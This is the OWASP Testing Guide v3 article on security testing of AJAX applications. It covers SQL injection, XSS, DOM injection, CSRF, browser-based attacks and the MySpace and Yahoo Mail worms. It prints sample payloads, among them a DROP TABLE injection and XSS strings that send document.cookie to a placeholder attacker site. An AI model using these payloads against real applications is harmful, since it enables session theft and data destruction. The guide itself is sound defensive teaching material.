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Testing for AJAX Vulnerabilities (OWASP-AJ-001)

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OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

Introduction

Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a traditional (i.e., "pre-web") application. Since AJAX is still a new technology, there are many security issues that have not yet been fully researched. Some of the security issues in AJAX include:

  • Increased attack surface with many more inputs to secure
  • Exposed internal functions of the application
  • Client access to third-party resources with no built-in security and encoding mechanisms
  • Failure to protect authentication information and sessions
  • Blurred line between client-side and server-side code, possibly resulting in security mistakes

Attacks and Vulnerabilities

XMLHttpRequest Vulnerabilities

AJAX uses the XMLHttpRequest(XHR) object for all communication with a server-side application, frequently a web service. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data, or anything else that Javascript can process.

Secondly, in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence, the login data is traversing the wire in clear text. Using secure HTTPS/SSL channels, which the modern day browsers support, is the easiest way to prevent such attacks from happening.

XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks such as SQL Injection, Cross Site Scripting (XSS), etc.

Increased Attack Surface

Unlike traditional web applications that execute completely on the server, AJAX applications extend across the client and server, which gives the client some power. This throws in additional ways to potentially inject malicious content.

SQL Injection

SQL Injection attacks (see Testing for SQL Injection) are remote attacks on the database in which the attacker modifies SQL statements before they are processed by the DBMS.
Typical SQL Injection attacks could be as follows (examples refer to Microsoft SQL Server)

Example 1 

SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;

This query will always return one row (unless the table is empty), and it is likely to be the first entry in the table. For many applications, that entry is the administrative login - the one with the most privileges.
Note. The code fragment above tries to match userid and password values (obtained in input) with attributes name, pass of users; consequently, it appears that users is storing passwords in clear text, a practice which is not recommendable.
Example 2 

SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;

The above set of SQL statements drops the table users, causing a Denial of Service. This consequence is possible on DBMS allowing concatenation of multiple statements.

Cross Site Scripting

Cross-site Scripting (XSS) is a technique by which malicious content is injected in the form of HTML/JavaScript code. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, phishing, and denial of service.

The Browser and AJAX Requests look identical, so the server is not able to classify them. Consequently, it won't be able to discern who made the request in the background. A JavaScript program can use AJAX to request a resource that occurs in the background without the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site Scripting attack.

Also, an XSS attack could send requests for specific pages other than the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.

The XSS payload can use AJAX requests to autonomously inject itself into pages and easily re-inject the same host with more XSS (like a virus), all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user.

Examples 

<script>alert("howdy")</script>
<script>document.location='http://www.example.com/pag.pl?'%20+document.cookie</script>

Usage: 

http://example.com/login.php?variable="><script>document.location='http://<evil-site>/cont.php?'+document.cookie</script>

This will just redirect the page to an unknown and malicious page after logging into the original page from where the request was made.

Client Side Injection Threats

  • XSS exploits can give access to sensitive client-side data, and can also modify client-side code.
  • DOM Injection is a type pf XSS injection which happens through the sub-objects, document location, document.URL, or document.referrer of the Document Object Model(DOM)
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
  • JSON/XML/XSLT Injection - Injection of malicious code in the XML content

AJAX Bridging

For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from site1.com cannot make connections to site2.com. To allow AJAX to contact third-party sites in this manner, the AJAX service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site. A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.

Cross Site Request Forgery (CSRF)

CSRF (see Testing for CSRF) attacks occur when an attacker forces a victim’s web browser to send an HTTP request to any website of his choosing (the intranet is a fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. In case such applications are vulnerable, invisibly, CSRF could have transferred funds, posted comments, compromised email lists, or reconfigured the network. A characteristic of CSRF attacks is that the vulnerable application logs' will show what appear as legitimate entries originating from the victim, bearing no trace of the attack. This attack, though not common, has been done before.

Denial of Service

Denial of Service is an old attack in which an attacker or vulnerable application forces the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. In fact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks such as using image tags nested within a JavaScript loop can do the trick more effectively. AJAX, being on the client-side, makes the attack easier.
<IMG SRC="http://example.com/cgi-bin/ouch.cgi?a=b">

Browser Based Attacks

The security of web browsers depends to a great extent to the fact that these tools integrate disparate technologies (such as HTML, Javascript, DNS, to name a few), whose interoperability has often been achieved without focusing much on its security implications. Furthermore, most of the security features available in browsers are based on previous attacks, so our browsers are not prepared for newer attacks.

There have been a number of new attacks on browsers, such as using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These could be computers that serve Web pages, but they could also include routers, printers, IP phones, and other networked devices or applications that have a Web interface. The JavaScript scanner determines whether there is a computer at an IP address by sending a "ping" using JavaScript "image" objects. It then determines which servers are running by looking for image files stored in standard places and analyzing the traffic and error messages it receives back.

Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. In addition, the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.

Major Attacks

MySpace Attack

The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In the case of Samy (see Technical explanation of The MySpace Worm), MySpace input validation controls prevent the injection of <SCRIPT> tags, however failed to consider all HTML tags, such as DIV. The article is a good example demonstrating how hard it is to perform input validation (particularly if you try to do it following a black list based approach). AJAX was used to inject a worm into the MySpace profile of any user viewing infected page and forced any user viewing the infected page to add the user “Samy” to his friend list. It also appended the words “Samy is my hero” to the victim's profile

Yahoo! Mail Attack

In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and AJAX, took advantage of a vulnerability in Yahoo Mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the Yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which made it look like an email from a known user.

References

Whitepapers

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